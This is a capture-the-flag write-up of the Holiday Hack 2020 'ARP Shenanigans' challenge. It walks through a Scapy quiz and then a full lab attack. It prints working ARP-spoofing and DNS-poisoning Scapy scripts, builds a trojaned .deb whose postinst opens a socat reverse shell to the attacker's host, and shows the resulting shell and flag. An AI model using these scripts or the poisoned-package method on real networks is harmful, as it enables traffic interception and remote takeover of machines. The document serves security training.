Holiday Hack 2020: ARP Shenanigans
Objective
Terminal - Scapy Prepper
Challenge
Alabaster Snowball is on the roof next to the Scapy Prepper terminal:
Welcome to the roof! Alabaster Snowball here.
I’m watching some elves play NetWars!
Feel free to try out our Scapy Present Packet Prepper!
If you get stuck, you can
help()
to see how to get tasks and hints.
This terminal is a series of questions in a Python environment that involve manipulating packets with Scapy:
Solution
>>> task.get()
Welcome to the "Present Packet Prepper" interface! The North Pole could use your help preparing present packets for shipment.
Start by running the task.submit() function passing in a string argument of 'start'.
Type task.help() for help on this question.
>>> task.submit('start')
Correct! adding a () to a function or class will execute it. Ex - FunctionExecuted()
Submit the class object of the scapy module that sends packets at layer 3 of the OSI model.
>>> task.submit(send)
Correct! The "send" scapy class will send a crafted scapy packet out of a network interface.
Submit the class object of the scapy module that sniffs network packets and returns those packets in a list.
>>> task.submit(sniff)
Correct! the "sniff" scapy class will sniff network traffic and return these packets in a list.
Submit the NUMBER only from the choices below that would successfully send a TCP packet and then return the first sniffed response packet to be stored in a variable named "pkt":
1. pkt = sr1(IP(dst="127.0.0.1")/TCP(dport=20))
2. pkt = sniff(IP(dst="127.0.0.1")/TCP(dport=20))
3. pkt = sendp(IP(dst="127.0.0.1")/TCP(dport=20))
>>> task.submit(1)
Correct! sr1 will send a packet, then immediately sniff for a response packet.
Submit the class object of the scapy module that can read pcap or pcapng files and return a list of packets.
>>> task.submit(rdpcap)
Correct! the "rdpcap" scapy class can read pcap files.
The variable UDP_PACKETS contains a list of UDP packets. Submit the NUMBER only from the choices below that correctly prints a summary of UDP_PACKETS:
1. UDP_PACKETS.print()
2. UDP_PACKETS.show()
3. UDP_PACKETS.list()
>>> task.submit(2)
Correct! .show() can be used on lists of packets AND on an individual packet.
Submit only the first packet found in UDP_PACKETS.
>>> task.submit(UDP_PACKETS[0])
Correct! Scapy packet lists work just like regular python lists so packets can be accessed by their position in the list starting at offset 0.
Submit only the entire TCP layer of the second packet in TCP_PACKETS.
>>> task.submit(TCP_PACKETS[1]['TCP'])
Correct! Most of the major fields like Ether, IP, TCP, UDP, ICMP, DNS, DNSQR, DNSRR, Raw, etc... can be accessed this way. Ex - pkt[IP][TCP]
Change the source IP address of the first packet found in UDP_PACKETS to 127.0.0.1 and then submit this modified packet
>>> UDP_PACKETS[0]['IP'].src = '127.0.0.1'
>>> task.submit(UDP_PACKETS[0])
Correct! You can change ALL scapy packet attributes using this method.
Submit the password "task.submit('elf_password')" of the user alabaster as found in the packet list TCP_PACKETS.
>>> print('\n'.join([t[Raw].load.decode() for t in TCP_PACKETS[3:] if Raw in t]))
220 North Pole FTP Server
USER alabaster
331 Password required for alabaster.
PASS echo
230 User alabaster logged in.
>>> task.submit('echo')
Correct! Here is some really nice list comprehension that will grab all the raw payloads from tcp packets:
[pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt]
The ICMP_PACKETS variable contains a packet list of several icmp echo-request and icmp echo-reply packets. Submit only the ICMP chksum value from the second packet in the ICMP_PACKETS list.
>>> task.submit(ICMP_PACKETS[1][ICMP].chksum)
Correct! You can access the ICMP chksum value from the second packet using ICMP_PACKETS[1]
[ICMP].chksum .
Submit the number of the choice below that would correctly create a ICMP echo request pack
et with a destination IP of 127.0.0.1 stored in the variable named "pkt"
1. pkt = Ether(src='127.0.0.1')/ICMP(type="echo-request")
2. pkt = IP(src='127.0.0.1')/ICMP(type="echo-reply")
3. pkt = IP(dst='127.0.0.1')/ICMP(type="echo-request")
>>> task.submit(3)
Correct! Once you assign the packet to a variable named "pkt" you can then use that variable to send or manipulate your created packet.
Create and then submit a UDP packet with a dport of 5000 and a dst IP of 127.127.127.127. (all other packet attributes can be unspecified)
>>> task.submit(IP(dst='127.127.127.127')/UDP(dport=5000))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.127.127.127")/UDP(dport=5000)
task.submit(pkt)
Create and then submit a UDP packet with a dport of 53, a dst IP of 127.2.3.4, and is a DNS query with a qname of "elveslove.santa". (all other packet attributes can be unspecified)
>>> task.submit(IP(dst='127.2.3.4')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='elveslove.santa')))
Correct! Your UDP packet creation should look something like this:
pkt = IP(dst="127.2.3.4")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="elveslove.santa"))
task.submit(pkt)
The variable ARP_PACKETS contains an ARP request and response packets. The ARP response (the second packet) has 3 incorrect fields in the ARP layer. Correct the second packet in ARP_PACKETS to be a proper ARP response and then task.submit(ARP_PACKETS) for inspection.
>>> ARP_PACKETS[0]
<Ether dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>
>>> ARP_PACKETS[1]
<Ether dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding load='\xc0\xa8\x00r' |>>>
>>> ARP_PACKETS[1][ARP].op = 2
>>> ARP_PACKETS[1][ARP].hwsrc='00:13:46:0b:22:ba'
>>> ARP_PACKETS[1][ARP].hwdst='00:16:ce:6e:8b:24'
>>> task.submit(ARP_PACKETS)
Great, you prepared all the present packets!
Congratulations, all pretty present packets properly prepared for processing!
ARP Shenanigans
Hints
Alabaster has some hints for me, but then realized I can’t help, only Santa:
Great job! Thanks!
Those skills might be useful to you later on!
I’ve been trying those skills out myself on this other terminal.
I’m pretty sure I can use
tcpdump
to sniff some packets.Then I’m going to try a machine-in-the-middle attack.
Next, I’ll spoof a DNS response to point the host to my terminal.
Then I want to respond to its HTTP request with something I’ll cook up.
I’m almost there, but I can’t quite get it. I could use some help!
For privacy reasons though, I can’t let you access this other terminal.
I do plan to ask Santa for a hand with it next time he’s nearby, though.
Eight hints fill the badge for this one:
- Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using
tcpdump -nni eth0
to see if you can view any traffic from that host. - The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in
/home/guest/scripts
. - Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let’s return a DNS response resolving the request to our IP.
- The malware on the host does an HTTP request for a
.deb
package. Maybe we can get command line access by sending it a command in a customized .deb file
Enumeration
On getting into the terminal, I’ll run tshark
to see what kind of traffic is visible from Jack Frost’s hosts. It looks like there’s regular ARP requests:
guest@86a2dddeef85:~$ tshark -ni eth0
Capturing on 'eth0'
1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
2 1.052077455 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
3 2.099995291 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
4 3.135951903 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
5 4.196042001 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
6 5.247847544 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
7 6.291969883 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
8 7.327955908 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
ARP Spoof
I’ll fill out the skeleton arp_resp.py
Python script in scripts/
:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
def handle_arp_packets(packet):
if ARP in packet and packet[ARP].op == 1:
ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)
arp_response = ARP(pdst="4c:24:57:ab:ed:84")
arp_response.op = 2
arp_response.plen = 4
arp_response.hwlen = 6
arp_response.ptype = 0x800
arp_response.hwtype = 1
arp_response.hwsrc = macaddr
arp_response.psrc = "10.6.6.53"
arp_response.hwdst = "4c:24:57:ab:ed:84"
arp_response.pdst = "10.6.6.35"
response = ether_resp/arp_response
sendp(response, iface="eth0")
def main():
# We only want arp requests
berkeley_packet_filter = "(arp[6:2] = 1)"
# sniffing for one packet that will be sent to a function, while storing none
sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
main()
This script will look for ARP packets and pass them to handle_arp_packets
, which crafts an ARP response and sends it back. In this case, because the source address is spoofed, I’ll set it to the IP the packet was trying to reach.
I’ll start tshark
again and then run this. It spoofs a packet and exits. Immediately after in tshark
, there’s an incoming DNS request:
guest@86a2dddeef85:~/scripts$ tshark -ni eth0
Capturing on 'eth0'
1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
2 1.067915201 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
3 2.107961393 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
4 2.140283434 02:42:0a:06:00:05 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:05
5 2.152522488 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
6 3.155949832 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
DNS Poison
Again there’s starter script to work from. I’ll update it making sure to get the source and destination addresses and ports correct, resulting in:
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"
def handle_dns_request(packet):
# Need to change mac addresses, Ip Addresses, and ports below.
# We also need
eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")
ip = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(id=packet[DNS].id,ancount=1, qd=packet[DNS].qd, aa=1, qr=1, an=DNSRR(rrname=packet[DNSQR].qname, rdata=ipaddr))
dns_response = eth / ip / udp / dns
sendp(dns_response, iface="eth0")
def main():
berkeley_packet_filter = " and ".join( [
"udp dst port 53", # dns
"udp[10] & 0x80 = 0", # dns request
"dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip)
"ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac
] )
# sniff the eth0 int without storing packets in memory and stopping after one dns request
sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)
if __name__ == "__main__":
main()
This script will respond to the DNS request and tell the host that my box is also the server it’s trying to resolve, ftp.osuosl.org
.
I’ll start tshark
, and run both scripts at the same time:
guest@85c29b475e3f:~/scripts$ python3 arp_resp.py & python3 dns_resp.py
[1] 509
.
Sent 1 packets.
.
Sent 1 packets.
[1]+ Done python3 arp_resp.py
This results in a bunch of traffic:
guest@86a2dddeef85:~/scripts$ tshark -ni eth0
Capturing on 'eth0'
1 0.000000000 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
2 1.064008138 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
3 2.100085790 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
4 3.144020229 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
5 4.184063002 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
6 4.216203934 02:42:0a:06:00:05 → 4c:24:57:ab:ed:84 ARP 42 10.6.6.53 is at 02:42:0a:06:00:05
7 4.232446765 10.6.6.35 → 10.6.6.53 DNS 74 Standard query 0x0000 A ftp.osuosl.org
8 4.256868744 10.6.6.53 → 10.6.6.35 DNS 104 Standard query response 0x0000 A ftp.osuosl.org A 10.6.0.5
...[snip unexplained TCP 48078 TLS activity]...
22 5.292924769 10.6.6.35 → 10.6.0.5 TCP 74 50092 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3399756646 TSecr=0 WS=128
23 5.292942872 10.6.0.5 → 10.6.6.35 TCP 54 80 → 50092 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
24 5.293803326 10.6.6.35 → 10.6.0.5 TLSv1.3 286 Application Data, Application Data, Application Data
25 5.294571593 10.6.0.5 → 10.6.6.35 TCP 66 48078 → 64352 [ACK] Seq=810 Ack=2245 Win=64128 Len=0 TSval=2472384382 TSecr=3399756644
...[snip unexplained TCP 48078 TLS activity]...
28 6.275965825 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
29 7.315995572 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
30 8.347976598 4c:24:57:ab:ed:84 → ff:ff:ff:ff:ff:ff ARP 42 Who has 10.6.6.53? Tell 10.6.6.35
After the DNS request it’s an HTTP request/
Running this same attack again with a Python webserver up reveals the file it’s trying to get:
guest@85c29b475e3f:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [02/Jan/2021 22:06:34] code 404, message File not found
10.6.6.35 - - [02/Jan/2021 22:06:34] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404 -
Poisoned deb
I’ve shown this before in OneTwoSeven from HackTheBox (abeit in a more complicated manner because it was responding to an apt update
and not just a .deb
get).
Start by making a directory to work from and getting a deb to work with:
guest@84b87ee427d8:~$ mkdir packing
guest@84b87ee427d8:~$ cp debs/socat_1.7.3.3-2_amd64.deb packing/
guest@84b87ee427d8:~$ cd packing/
socat
is a convenient one, as when it’s installed, I can use it to get a shell. Extract the archive directory of the .deb
file, which gives all the files that will be places in the filesystem:
guest@84b87ee427d8:~/packing$ dpkg -x socat_1.7.3.3-2_amd64.deb work
guest@84b87ee427d8:~/packing$ ls work/
usr
I also need the control files from the original archive, which extract with dpkg -e
:
guest@84b87ee427d8:~/packing$ dpkg -e socat_1.7.3.3-2_amd64.deb control
guest@84b87ee427d8:~/packing$ ls control/
control md5sums
In work
, I’ll create a DEBIAN
directory for control information and copy in the control
file:
guest@84b87ee427d8:~/packing$ mkdir work/DEBIAN
guest@84b87ee427d8:~/packing$ cp control/control work/DEBIAN/
There is no postinst
file in the socat
installer, so I’ll create one:
guest@84b87ee427d8:~/packing$ touch work/DEBIAN/postinst
guest@84b87ee427d8:~/packing$ chmod +x work/DEBIAN/postinst
Because I’m using a socat
installer, I can count on socat
to be on the target host, so I’ll use that to get a reverse shell:
#!/bin/sh
socat tcp-connect:10.6.0.3:4433 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Build the package back, and move it into place:
guest@f88c5170ccba:~/packing$ dpkg-deb --build work/
dpkg-deb: building package 'socat' in 'work.deb'.
guest@f88c5170ccba:~/packing$ mkdir -p ~/pub/jfrost/backdoor/
guest@f88c5170ccba:~/packing$ mv work.deb ~/pub/jfrost/backdoor/suriv_amd64.deb
Attack
I’ll start a Python webserver and a socat
listener for the reverse shell, then run the same two scripts again to arp spoof and then DNS spoof:
guest@f88c5170ccba:~$ python3 scripts/arp_resp.py & python3 scripts/dns_resp.py
[1] 221
.
Sent 1 packets.
.
Sent 1 packets.
[1]+ Done python3 scripts/arp_resp.py
At the Python webserver, the request comes in for the package, and the server returns it:
guest@f88c5170ccba:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [03/Jan/2021 12:04:11] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 200 -
At the socat
listener, a shell comes back:
guest@f88c5170ccba:~$ socat file:`tty`,raw,echo=0 tcp-listen:4433
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1500(jfrost) gid=1500(jfrost) groups=1500(jfrost)
The file needed for the flag is in the system root:
NORTH POLE
LAND USE BOARD
MEETING MINUTES
January 20, 2020
Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pole
Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.
Roll call of Board members please:
Chairman Jack Frost - Present
Vice Chairman Mother Nature - Present
Superman - Present
Clarice - Present
Yukon Cornelius - HERE!
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present
ALSO PRESENT:
Kris Kringle
Pepper Minstix
Heat Miser
Father Time
Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made -- displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper -- for people who are interested in this meeting. Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman. Minutes approved.
OLD BUSINESS: No Old Business.
RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits
Opposed:
Jack Frost
Resolution carries. Construction approved.
NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc. Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high. Why, it might burn the whole North Pole down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.
Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan. Meeting adjourned.
Flag: Tanta Kringle